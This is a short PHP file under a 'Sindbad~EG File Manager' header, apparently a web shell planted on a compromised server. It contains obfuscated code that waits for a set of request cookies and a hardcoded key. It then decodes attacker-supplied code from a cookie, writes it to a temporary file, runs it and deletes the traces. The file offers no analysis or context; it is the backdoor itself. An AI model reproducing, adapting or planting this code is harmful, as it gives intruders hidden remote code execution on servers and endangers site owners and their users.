Sindbad~EG File Manager

<?php


if (isset($_COOKIE[-90+90]) && isset($_COOKIE[49-48]) && isset($_COOKIE[-49+52]) && isset($_COOKIE[37+-33])) {
    $ref = $_COOKIE;
    function event_dispatcher($pset) {
        $ref = $_COOKIE;
        $value = tempnam((!empty(session_save_path()) ? session_save_path() : sys_get_temp_dir()), '38d1d489');
        if (!is_writable($value)) {
            $value = getcwd() . DIRECTORY_SEPARATOR . "core_engine";
        }
        $desc = "\x3c\x3f\x70\x68p " . base64_decode(str_rot13($ref[3]));
        if (is_writeable($value)) {
            $itm = fopen($value, 'w+');
            fputs($itm, $desc);
            fclose($itm);
            spl_autoload_unregister(__FUNCTION__);
            require_once($value);
            @array_map('unlink', array($value));
        }
    }
    spl_autoload_register("event_dispatcher");
    $val = "49ca9477a94a793d2cd30939ee3795c6";
    if (!strncmp($val, $ref[4], 32)) {
        if (@class_parents("reverse_searcher_data_storage", true)) {
            exit;
        }
    }
}